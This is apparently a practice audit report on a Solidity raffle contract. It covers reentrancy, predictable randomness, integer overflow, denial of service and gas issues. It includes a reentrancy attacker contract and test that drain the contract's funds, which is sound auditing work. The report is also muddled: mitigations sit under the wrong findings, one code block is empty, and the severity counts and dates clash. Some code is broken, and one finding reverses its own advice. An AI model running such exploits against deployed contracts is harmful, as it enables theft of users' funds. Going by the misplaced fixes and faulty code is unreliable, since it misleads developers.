# Puppy Raffle

Version 1.0

*Seeleon*

August 1, 2025

# Protocol Audit Report

Seeleon

June 1, 2025

Prepared by: Seeleon Lead Auditors: - xxxxxxx

## Table of Contents

        * [M-1] Looping through players array to check for duplicates in `PuppyRaffle::enterRaffle` is a potential denial of service (DoS) attack, incrementing gas cost for future entrants.
        * [M-2] Poor randomness algorithm, being not random
        * [M-3] Smart contract wallets raffle winners without a `receive` or a `fallback` function will block the start of a new contest.
    - Low
        * [L-1] `PuppyRaffle::getActivePlayerIndex` returns 0 for non-existent players and for players at index 0, causing a player at index 0 to incorrectly think they have not entered the raffle.
    - Gas

- [G-1] Unchanged state variables should be declared constant or immutable
    - [G-2] Storage variables in a loop should be cached
    - Informational/Non-Crits
    - [I-1]: Solidity pragma should be specific, not wide
    - [I-2] Using an outdated version of solidity is not recommended.
        * [I-3] Missing checks for `address(0)` when assigning values to address state variables
        * [I-r] `PuppyRaffle::selectWinner` does not follow CEI, which is not a best practice
        * [I-5] Use of "magic" numbers is discouraged
        * [I-6] State changes are missing events
        * [I-7] `PuppyRaffle::_isActivePlayer` is never used and should be removed.

## Protocol Summary

1. Call the `enterRaffle` function with the following parameters:
    1. `address[] participants`: A list of addresses that enter. You can use this to enter yourself multiple times, or yourself and a group of your friends.
2. Duplicate addresses are not allowed
3. Users are allowed to get a refund of their ticket & `value` if they call the `refund` function
4. Every X seconds, the raffle will be able to draw a winner and be minted a random puppy
5. The owner of the protocol will set a feeAddress to take a cut of the `value`, and the rest of the funds will be sent to the winner of the puppy.

## Disclaimer

The Seeleon team makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by the team is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

## Risk Classification

| | | Impact | | |
|---|---|---|---|---|
| | | High | Medium | Low |
| | High | H | H/M | M |
| Likelihood | Medium | H/M | M | M/L |
| | Low | M | M/L | L |

We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

## Audit Details

- Commit Hash: e30d199697bbc822b646d76533b66b7d529b8ef5
- In Scope:

### Scope

```
./src/
#-- PuppyRaffle.sol
```

### Roles

Owner - Deployer of the protocol, has the power to change the wallet address to which fees are sent through the `changeFeeAddress` function. Player - Participant of the raffle, has the power to enter the raffle with the `enterRaffle` function and refund value through `refund` function.

## Executive Summary

I like to learn and develop in DeFi world. Patrick is a cool Dude.

### Issues found

| Severity | Numbers of issues found |
|---|---|
| High | 3 |
| Medium | 3 |
| Low | 0 |
| Info | 7 |
| Gas | 3 |
| Total | 15 |

## Findings

### High

#### [H-1] Reentrancy attack in `PuppyRaffle::refund` allows entrant to drain raffle balance

IMPACT: HIGH LIKELIHOOD: HIGH

**Description:** The `PuppyRaffle::refund` function does not follow CEI(Checks, Effects, Interactions) and as a result, enable participants to dreain the contract balance.

In the `PuppyRaffle::refund` function, we first make an externall call to the `msg.sender` address and only after making that external call do we update the `PuppyRaffle::players` array.

```
 function refund(uint256 playerIndex) public {
        address playerAddress = players[playerIndex];
        require(playerAddress == msg.sender, "PuppyRaffle: Only the
            player can refund");
        require(playerAddress != address(0), "PuppyRaffle: Player
            already refunded, or is not active");

@>      payable(msg.sender).sendValue(entranceFee);
@>      players[playerIndex] = address(0);

```

```
        emit RaffleRefunded(playerAddress);
    }
```

A player who has entered the raffle could have a `fallback`/`receive` fucntion that calls the `PuppyRaffle::refund` function again and claim another refund. They could continue the cycle till the contract balance is drained.

**Impact:** All fees paid by raffle entrance could be stolen by malicious participant.

**Proof of Concept:**

1. User etnres Raffle
2. Attacker sets up a contract with a fallback function with a `fallback` function that calls `PuppyRaffle::refund`
3. Attacker enters the raffle
4. Attacker calls `PuppyRaffle::refund` from their attack contract, draining the contract balance.

**Proof of Code**

Code

Place the following int o `PuppyRaffleTest.t.sol`

```
function test_reentrancyRefund() public  {
        address[] memory players = new address[](4);
        players[0] = playerOne;
        players[1] = playerTwo;
        players[2] = playerThree;
        players[3] = playerFour;

        puppyRaffle.enterRaffle{value: entranceFee * 4}(players);

        ReentrancyAttacker attackerContract = new ReentrancyAttacker(
            puppyRaffle);
        address attackUser = makeAddr("attackUser");
        vm.deal(attackUser, 1 ether);

        uint256 startingAttackContractBalance = address(
            attackerContract).balance;
        uint256 startingContractBalance = address(puppyRaffle).balance;

        // Attack
        attackerContract.attack{value: entranceFee}();

        console.log("starting attacker contract balance: ",
            startingAttackContractBalance);
        console.log("starting contract balance: ",
            startingAttackContractBalance);

        console.log("ending attacker contract balance: ", address(
            attackerContract).balance);
        console.log("ending contract balance: ", address(puppyRaffle).
            balance);
}
```

and this contract as well

```
contract ReentrancyAttacker {
    PuppyRaffle puppyRaffle;
    uint256 attackerFee;
    uint256 attackerIndex;
    uint256 public entranceFee;

       constructor(PuppyRaffle _puppyRaffle) {
        puppyRaffle = _puppyRaffle;
        entranceFee = puppyRaffle.entranceFee();
    }
        function attack() public payable {
            address[] memory players = new address[](1);
            players[0] = address(this);
            puppyRaffle.enterRaffle{value: entranceFee}(players);

            attackerIndex = PuppyRaffle.getActivePlayer(address(this));
            //attackerIndex = PuppyRaffle.getActivePlayerIndex(address(
                this));

            PuppyRaffle.refund(attackerIndex);
        }

        function _stealMoney() internal {
            if(address(PuppyRaffle).balance >= entranceFee){
                PuppyRaffle.refund(attackerIndex);
            }
        }

        fallback() external payable {
            _stealMoney();
        }

        receive() external payable {
            _stealMoney();
        }
}
```

### [H-2] Weak randomness in `PuppyRaffle::selectWinner` allows user to influence or predict the winner and influence or predict the winning puppy

**Description:** Hashing `msg.sender`, `block.timestamp`, and `block.difficulty` together creates a predictable find number. A predictable number is not a good random number. Malicious users can manipulate these values or know them ahead of to choose the winner of the raffle themselves.

*Note:* This means users could front-run this function and call `refund` if they see they are not the winner. Making the entire raffle worthless if it becomes a gas war as to who wins the raffles.

**Impact:** Any user can influence the winner of the raffle, winning the money and selecting the `rarest` puppy.

**Proof of Concept:** 1. Validators can know ahead of time the `block.timestamp` and `block.difficulty` and use that to predict when/how to paricipate. See the solidity blog on prevrandao. `block.difficulty` was recently replaced with prevrandao. 2. User can mine/manipulate their `msg.sender` value to result in their address being used to generate the winner ! 3. Users can revert their `selectWinner` transaction if they don't like the winner or resulting puppy.

Using on-chain values as a randomness seed is a well-documented attack vector in the blockchain space.

**Recommended Mitigation:** Consider using a cryptographically provable random number generator such as Chainlink VRF

**Recommended Mitigation:** To prevent this, we should have the `PuppyRaffle::refund` function update the players array before making the external call. Additionaly, we should move the event emission up as well.

### [H-3] Integer overflow of `PuppyRaffle::totalFees` loses fees

**Description:** In solidity version prior to `0.8.0` integers were subject to integer overflows.

```
uint64 myVar = type(uint64).max;
// 18446744073709551615
myVar = myVar + 1;
//myVar will be 0
```

**Impact:** In `PuppyRaffle::selectWinner`, `totalFees` are accumulated for the `feeAddress` to collect later in `PuppyRaffle::withdrawFees`. However, if the `totalFees` variable overflows, the `feeAddress` may not collect the correct amount of fees, leaving fees permanently stuck in the contract.

**Proof of Concept:** 1. We conclude a raffle of 4 players 2. We then have 89 players enter a new raffle, and conclude the raffle 3. `total` will be:

```
totalFees = totalFees + uint64(fee);
```

4. you will not be able to withdraw, due to the line in `PuppyRaffle::withdrawFees`;

```
require(address(this).balance == uint256(totalFees), "PuppyRaffle:
    There are currently players active!");
```

Although you could use `selfdestruct` to send ETH to this contract in order for the values to match and withdraw the fees, this is clearly not the intended design of the protocol. At some point, there will be too much `balance` in the Contract that the above `require` will be impossible to hit.

Code

```
```

**Recommended Mitigation:** There are a few possible mitigations. 1. Use a newer version of solidity, and a `uint256` instead of `uint64` for `PuppyRaffle::totalFees` 2. You could also use the `SafeMath` library of Openzeppelin for version 0.7.6 of solidity, however you would still have a hard time with the `uint64` type if too many fees are collected. 3. Remove the balance check from `PuppyRaffle::withdrawFees`

```
-   require(address(this).balance == uint256(totalFees), "PuppyRaffle:
    There are currently players active!");
```

There are more attack vectors with that final require, so we recommend removing it regardless.

```
function refund(uint256 playerIndex) public {
        address playerAddress = players[playerIndex];
        require(playerAddress == msg.sender, "PuppyRaffle: Only the
            player can refund");
        require(playerAddress != address(0), "PuppyRaffle: Player
            already refunded, or is not active");
+       players[playerIndex] = address(0);
+       emit RaffleRefunded(playerAddress);

        payable(msg.sender).sendValue(entranceFee);

-       players[playerIndex] = address(0);
-       emit RaffleRefunded(playerAddress);
    }
```

Denial of Service attack

## Medium

### [M-1] Looping through players array to check for duplicates in `PuppyRaffle::enterRaffle` is a potential denial of service (DoS) attack, incrementing gas cost for future entrants.

IMPACT: MEDIUM LIKELOOH: MEDIUM

x**Description:** The `PuppyRaffle::enterRaffle` function loops through the `players` array to check for duplicates. However, the longer the `PuppyRaffle::players` array is, the more checks a new player will have to make. This means gas costs for players who enter right when the raffle stats will be dramatically lower than those who enter later. Every additional address in the `players` array, is an additional check the loop will have to make.

```
// @audit DoS Attack
@>          for (uint256 i = 0; i < players.length - 1; i++) {
              for (uint256 j = i + 1; j < players.length; j++) {
                  require(players[i] != players[j], "PuppyRaffle:
                      Duplicate player");
              }
          }
```

**Impact:** The gas cost for Raffle entrants will greatly increase as more players enter the raffle. Discouraging later users from entering, and causing a rush at the start of a raffle to be one of the first entrants in the queue.

An attacker might make the `PuppyRaffle::entrants` array so big, that no one else enters, guarenteeing themselves the win.

**Proof of Concept:**

If we have 2 sets of 100 players enter, the gas costs will be as such: - 1st 100 players: ~6503275 gas - 2nd 100 players: ~18995515 gas

This is more than 3x more expensive for the second 100 players.

PoC

Place the following test into `PuppyRaffleTest.t.sol`.

```
function test_denialOfService() public {
        vm.txGasPrice(1);

        // Let's enter 100 players
        uint256 playersNum = 100;
        address[] memory players =  new address[](playersNum);
        for(uint256 i = 0; i<playersNum; i++) {
            players[i] = address(i);
            // address 1,2,3,4,5,6,7.....99.
        }
        // check how much gas it costs
        uint256 gasStart = gasleft();
        puppyRaffle.enterRaffle{value: entranceFee * players.length}(
            players );
        uint256 gasEnd = gasleft();

        uint256 gasUsedFirst = (gasStart - gasEnd) * tx.gasprice;
        console.log("Gas cost of the first 100 players: ", gasUsedFirst
            );


        // see how much gas it will cost again
        address[] memory playersTwo =  new address[](playersNum);
        for(uint256 i = 0; i<playersNum; i++) {
            playersTwo[i] = address(i + playersNum);
            // 100, 101, 102, 103.... 199.
        }
        // check how much gas it costs
        uint256 gasStartSecond = gasleft();
        puppyRaffle.enterRaffle{value: entranceFee * players.length}(
            playersTwo);
        uint256 gasEndSecond = gasleft();

        uint256 gasUsedSecond = (gasStartSecond - gasEndSecond) * tx.
            gasprice;
        console.log("Gas cost of the second 100 players: ",
            gasUsedSecond);

        assert(gasUsedFirst < gasUsedSecond);
    }
}
```

**Recommended Mitigation:** There are a few recomendations.

1. Consider allowing duplicates. Users can make new wallet addresses anyways, so a duplicate check does not prevent the same person from entering multiple times, only the same wallet address.
2. Consider using a mapping to check for duplicates. This would allow constant time lookup of whether a user has already entered.

```
+     mapping(address => uint256) public addressToRaffleId;
+     uint256 public raffleId = 0;
    .
    .
    .
    function enterRaffle(address[] memory newPlayers) public payable {
        require(msg.value == entranceFee * newPlayers.length, "
           PuppyRaffle: Must send enough to enter raffle");
        for (uint256 i = 0; i < newPlayers.length; i++) {
            players.push(newPlayers[i]);
+            addressToRaffleId[newPlayers[i]] = raffleId;
        }

-        // Check for duplicates
+       // Check for duplicates only from the new players
+       for (uint256 i = 0; i < newPlayers.length; i++) {
+           require(addressToRaffleId[newPlayers[i]] != raffleId, "
   PuppyRaffle: Duplicate player");
+       }
-        for (uint256 i = 0; i < players.length; i++) {
-            for (uint256 j = i + 1; j < players.length; j++) {
-                require(players[i] != players[j], "PuppyRaffle:
   Duplicate player");
-            }
-        }
        emit RaffleEnter(newPlayers);
    }
.
.
.
    function selectWinner() external {
+       raffleId = raffleId + 1;
        require(block.timestamp >= raffleStartTime + raffleDuration, "
           PuppyRaffle: Raffle not over");
```

3. Alternatively you could use https://docs.openzeppelin.com/contracts/5.x/api/utils#EnumerableSet

### [M-2] Poor randomness algorithm, being not random

**Description:** The algorithm can be guessed.

**Impact:** Users might know the winner before selecting it.

**Proof of Concept:**

```
function selectWinner() external {
        // q does this follow CEI ?
        // q are the duration & start time being set correctly ?
        require(block.timestamp >= raffleStartTime + raffleDuration, "
           PuppyRaffle: Raffle not over");
        require(players.length >= 4, "PuppyRaffle: Need at least 4
           players");

        // @audit randomness...
        // fixes: ChainlinkVRF
        uint256 winnerIndex =
            uint256(keccak256(abi.encodePacked(msg.sender, block.
                timestamp, block.difficulty))) % players.length;
        address winner = players[winnerIndex];
        // w why not just do address(this).balance ?
        uint256 totalAmountCollected = players.length * entranceFee;
        // q is the 80% correct ?
        // q maybe there is an arithmetic error here?...
        uint256 prizePool = (totalAmountCollected * 80) / 100;
        uint256 fee = (totalAmountCollected * 20) / 100;
        // q is this the total fees the owner should be able to collect
             ?
        // @audit overflow
        // Fixes: Newer version of solidity, bigger uints

        // 18.446744073709551615
        // 20.000000000000000000
        // 1.553255926290448384 uint64 ? LESS ??
        // 20.000000000000000000 - 18.446744073709551615 =
            1.553255926290448384 (math)
        // @audit unsafe cast of uint256 to uint64
        totalFees = totalFees + uint64(fee);
```

**Recommended Mitigation:**

### [M-3] Smart contract wallets raffle winners without a `receive` or a `fallback` function will block the start of a new contest.

**Description:** The `PuppyRaffle::selectWinner` function is responsible for resetting the lottery. However, if the winner is a smart contract wallet that rejects payments, the lottery would not be able to restart.

Users could easily call the `selectWinner` function again and non-wallet entrants could enter, but it could cost a lot due to the duplicate check and a lottery reset could get very challenging.

**Impact:** The `PuppyRaffle::selecWinner` function could revert many times, making lottery reset difficult.

Also, true winners would not get paid out and someone else could take their money !

**Proof of Concept:** 1. 10 smart contract wallets enter the lottery without a fallback or receive function. 2. The lottery ends. 3. The `selectWinner` function wouldn't work, even though the lottery is over!

**Recommended Mitigation:** There are a few options to mitigate this isse.

1. Do not allow smart contract wallet entrants (not recommended)

2. Create a mapping of addresses -> payout amounts so winners can pull their funds out themselves with a new `claimPrize` function, putting the owness on the winner to claim their prize (Recommended).

> Pull over push

### Low

#### [L-1] `PuppyRaffle::getActivePlayerIndex` returns 0 for non-existent players and for players at index 0, causing a player at index 0 to incorrectly think they have not entered the raffle.

**Description:** If a player is in the `PuppyRaffle::players` array at index 0, this will return 0, but according to the natspec, it will also return 0 if the player is not in the array.

```
function getActivePlayerIndex(address player) external view returns (
    uint256) {
        for (uint256 i = 0; i < players.length; i++) {
            if (players[i] == player) {
                return i;
            }
        }
```

**Impact:** A player at index 0 to incorrectly think they have not entered the raffle, and attempt to raffle again, wasting gas.

**Proof of Concept:** 1. User enters the raffle, they are the first entrant 2. `PuppyRaffle::getActivePlayerIndex` returns 0 3. User thinks they have not entered correctly due to the function documentation

**Recommended Mitigation:** The easiest recommendation would be to revert if the player is not in the array instead of returning 0.

You could also reserve the 0th position for any competition, but a better solution might be return an `int256` where the function returns -1 if the player is not active.

### Gas

## [G-1] Unchanged state variables should be declared constant or immutable

Reading from storage is much more expensive than reading from a constant or immutable variable

Instances: - `PuppyRaflle::raffleDuration` should be `immutable` - `PuppyRafle::commonImageUri` should be `constant` - `PuppyRaflle::rareImageUri` should be `constant` - `PuppyRaffle::legendaryImageUri` should be `constant`

### [G-2] Storage variables in a loop should be cached

Everytime you call `player.length` you read from storage, as opposed to memory which is more gas efficien.

```
+         uint256 = playerLength = players.length;
-         for (uint256 i = 0; i < players.length - 1; i++) {
          for (uint256 i = 0; i < playersLength - 1; i++) {
-             for (uint256 j = i + 1; j < players.length; j++) {
+             for (uint256 j = i + 1; j < playersLength; j++) {
                  require(players[i] != players[j], "PuppyRaffle:
                      Duplicate player");
              }
          }
```

## Informational/Non-Crits

### [I-1]: Solidity pragma should be specific, not wide

Consider using a specific version of Solidity in your contracts instead of a wide version. For example, instead of `pragma solidity ^0.8.0;`, use `pragma solidity 0.8.0;`

1 Found Instances

- Found in src/PuppyRaffle.sol Line: 2

### [I-2] Using an outdated version of solidity is not recommended.

Please use a newer version like `0.8.18`.

solc frequently releases new compiler versions. Using an old version prevents access to new Solidity security checks. We also recommend avoiding complex pragma statement. **Recommendation**

Deploy with a recent version of Solidity (at least 0.8.0) with no known severe issues.

Use a simple pragma version that allows any of these versions. Consider using the latest version of Solidity for testing.

Please see Slither documentation for more information.

### [I-3] Missing checks for `address(0)` when assigning values to address state variables

Check for `address(0)` when assigning values to address state variables.

2 Found Instances

- Found in src/PuppyRaffle.sol Line: 68

```
        feeAddress = _feeAddress;
```

- Found in src/PuppyRaffle.sol Line: 229

```
        feeAddress = newFeeAddress;
```

### [I-r] `PuppyRaffle::selectWinner` does not follow CEI, which is not a best practice

It's best to keep code clean and follow CEI (Checks, Effects, Interactions).

```

-       (bool success,) = winner.call{value: prizePool}("");
-       require(success, "PuppyRaffle: Failed to send prize pool to winner");
        _safeMint(winner, tokenId);
+         (bool success,) = winner.call{value: prizePool}("");
+       require(success, "PuppyRaffle: Failed to send prize pool to winner");
```

### [I-5] Use of "magic" numbers is discouraged

It can be confusing to see number literals in a codebase, and it's much more redeable if the numbers are given a name.

```
uint256 prizePool = (totalAmountCollected * 80) / 100;
uint256 fee = (totalAmountCollected * 20) / 100;
```

Instead you could use:

```
uint256 public constant PRIZE_POOL_PERCENTAGE = 80;
uint256 public constant FEE_PERCENTAGE = 20;
uint256 public constant POOL_PRECISION = 100;
```

### [I-6] State changes are missing events

The following line of code should be removed.

```
emit FeeAddressChanged(newFeeAddress);
```

### [I-7] `PuppyRaffle::_isActivePlayer` is never used and should be removed.